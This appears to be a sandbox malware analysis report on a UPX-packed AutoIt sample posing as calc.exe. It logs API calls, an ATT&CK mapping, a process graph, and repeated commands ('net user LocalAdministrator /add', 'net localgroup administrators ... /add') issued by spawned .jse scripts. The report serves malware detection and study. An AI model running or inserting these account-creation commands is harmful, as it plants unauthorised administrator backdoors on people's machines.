Source: C:\Users\user\Desktop\calc.exeSection loaded: bcp47langs.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: slc.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: sppc.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: samcli.dll
Source: C:\Windows\SysWOW64\net1.exeSection loaded: netutils.dll
Source: C:\Users\user\Desktop\calc.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00439814 CharLowerBuffW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,_strcat,GetCurrentProcess,TerminateProcess,VariantClear,FreeLibrary,0_2_00439814
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0044C070 push eax; ret 0_2_0044C084
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0044C070 push eax; ret 0_2_0044C0AC
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00459690 push ds; ret 0_2_00459692
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0044D7C3 push ecx; ret 0_2_0044D7D3
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0044C070 push eax; ret 7_2_0044C084
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0044C070 push eax; ret 7_2_0044C0AC
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00459690 push ds; ret 7_2_00459692
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0044D7C3 push ecx; ret 7_2_0044D7D3
Source: initial sampleStatic PE information: section name: UPX0
Source: initial sampleStatic PE information: section name: UPX1

Persistence and Installation Behavior

barindex
Adds a new user with administrator rights
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00412196 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_00412196
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00440FF0 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_00440FF0
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00412196 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,7_2_00412196
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00440FF0 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,7_2_00440FF0
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\calc.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-Timer
Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-Timer
Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-Timer
Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-Timer
Source: C:\Users\user\Desktop\calc.exeEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodesgraph_0-51143
Source: C:\Users\user\Desktop\calc.exeAPI coverage: 4.7 %
Source: C:\Users\user\Desktop\calc.exeAPI coverage: 4.5 %
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00425639 FindFirstFileW,FindFirstFileW,SetCurrentDirectoryW,FindClose,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,0_2_00425639
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_004230D5 FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,0_2_004230D5
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0041510D FindFirstFileW,DeleteFileW,CopyFileW,lstrcmpiW,DeleteFileW,MoveFileW,FindNextFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,0_2_0041510D
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0042320D FindFirstFileW,FindClose,0_2_0042320D
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00426292 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00426292
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00425838 FindFirstFileW,FindNextFileW,FindClose,0_2_00425838
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00422C4D FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,0_2_00422C4D
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00414E16 GetFileAttributesW,FindFirstFileW,FindClose,0_2_00414E16
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00414FFA FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,0_2_00414FFA
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00425639 FindFirstFileW,FindFirstFileW,SetCurrentDirectoryW,FindClose,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,7_2_00425639
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_004230D5 FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,7_2_004230D5
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0041510D FindFirstFileW,DeleteFileW,CopyFileW,lstrcmpiW,DeleteFileW,MoveFileW,FindNextFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,7_2_0041510D
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0042320D FindFirstFileW,FindClose,7_2_0042320D
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00426292 FindFirstFileW,Sleep,FindNextFileW,FindClose,7_2_00426292
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00425838 FindFirstFileW,FindNextFileW,FindClose,7_2_00425838
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00422C4D FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,7_2_00422C4D
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00414E16 GetFileAttributesW,FindFirstFileW,FindClose,7_2_00414E16
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00414FFA FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,7_2_00414FFA
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0040EA76 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,FreeLibrary,0_2_0040EA76
Source: calc.exe, 00000027.00000002.1473796532.0000000000598000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ZWar&Prod_VMware_SATA_CD00#
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00439814 CharLowerBuffW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,_strcat,GetCurrentProcess,TerminateProcess,VariantClear,FreeLibrary,0_2_00439814
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0040109D GetCurrentDirectoryW,GetFullPathNameW,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,SetCurrentDirectoryW,0_2_0040109D
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00412196 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_00412196
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00415D53 mouse_event,0_2_00415D53
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" gszpj8rp81.jseJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe" Jump to behavior
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" 10a1DJwqnr.jseJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe" Jump to behavior
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" Kiql0emrm5.jseJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe" Jump to behavior
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" mdWettqHRh.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" KobIITTimt.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" dLMJwKQlPv.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" aw1HUl4bYu.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\wscript.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\net.exeProcess created: unknown unknown
Source: calc.exeBinary or memory string: Shell_TrayWnd
Source: calc.exe, 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, calc.exe, 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, calc.exe, 0000000F.00000002.1431412909.0000000000401000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: \Software\AutoIt v3\AutoItIncludeSendInput0%doffondownupASC 0%d0E051007080900020409ASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTShell_TrayWndVirtualFreeExVirtualAllocEx
Source: C:\Users\user\Desktop\calc.exeCode function: GetLocaleInfoA,0_2_004558FF
Source: C:\Users\user\Desktop\calc.exeCode function: GetLocaleInfoA,7_2_004558FF
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00454555 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,0_2_00454555
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0043738E GetUserNameW,0_2_0043738E
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_004527E8 __lock,_strlen,_strcat,_strncpy,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,_strncpy,0_2_004527E8
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0040EA76 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,FreeLibrary,0_2_0040EA76
Source: C:\Windows\SysWOW64\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0042F3BC socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,0_2_0042F3BC
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0042F9C7 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_0042F9C7
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00430B6B OleInitialize,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,0_2_00430B6B
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0042F3BC socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,7_2_0042F3BC
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0042F9C7 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,7_2_0042F9C7
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00430B6B OleInitialize,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,7_2_00430B6B

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting		Valid Accounts2
Command and Scripting Interpreter		1
Create Account		1
Exploitation for Privilege Escalation		1
Masquerading		21
Input Capture		2
System Time Discovery		Remote Services21
Input Capture		1
Encrypted Channel		Exfiltration Over Other Network Medium1
System Shutdown/Reboot
CredentialsDomainsDefault Accounts2
Native API		1
Scripting		1
Access Token Manipulation		1
Access Token Manipulation		LSASS Memory1
Security Software Discovery		Remote Desktop Protocol1
Archive Collected Data		Junk DataExfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAt1
DLL Side-Loading		12
Process Injection		12
Process Injection		Security Account Manager1
Process Discovery		SMB/Windows Admin Shares3
Clipboard Data		SteganographyAutomated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook1
DLL Side-Loading		1
Deobfuscate/Decode Files or Information		NTDS1
Application Window Discovery		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script21
Obfuscated Files or Information		LSA Secrets1
Account Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts11
Software Packing		Cached Domain Credentials1
System Owner/User Discovery		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
DLL Side-Loading		DCSync2
File and Directory Discovery		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc Filesystem16
System Information Discovery		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1523638 Sample: calc.exe Startdate: 01/10/2024 Architecture: WINDOWS Score: 60 82 Machine Learning detection for sample 2->82 84 Sigma detected: Suspicious Calculator Usage 2->84 86 Sigma detected: Suspicious Process Parents 2->86 14 calc.exe 2 1 2->14         started        process3 process4 16 wscript.exe 1 1 14->16         started        signatures5 78 Windows Scripting host queries suspicious COM object (likely to drop second stage) 16->78 80 Adds a new user with administrator rights 16->80 19 calc.exe 1 16->19         started        21 net.exe 1 16->21         started        23 net.exe 1 16->23         started        process6 process7 25 wscript.exe 1 19->25         started        28 conhost.exe 21->28         started        30 net1.exe 1 21->30         started        32 conhost.exe 23->32         started        34 net1.exe 1 23->34         started        signatures8 88 Adds a new user with administrator rights 25->88 36 calc.exe 1 25->36         started        38 net.exe 1 25->38         started        40 net.exe 1 25->40         started        process9 process10 42 wscript.exe 1 36->42         started        45 conhost.exe 38->45         started        47 net1.exe 1 38->47         started        49 conhost.exe 40->49         started        51 net1.exe 1 40->51         started        signatures11 90 Adds a new user with administrator rights 42->90 53 calc.exe 42->53         started        55 net.exe 42->55         started        57 net.exe 42->57         started        process12 process13 59 wscript.exe 53->59         started        62 conhost.exe 55->62         started        64 net1.exe 55->64         started        66 conhost.exe 57->66         started        68 net1.exe 57->68         started        signatures14 92 Adds a new user with administrator rights 59->92 70 calc.exe 59->70         started        72 net.exe 59->72         started        74 net.exe 59->74         started        process15 process16 76 conhost.exe 72->76         started       

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
calc.exe100%Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1523638
Start date and time:2024-10-01 21:44:35 +02:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 6m 24s
Hypervisor based Inspection enabled:false
Report type:full
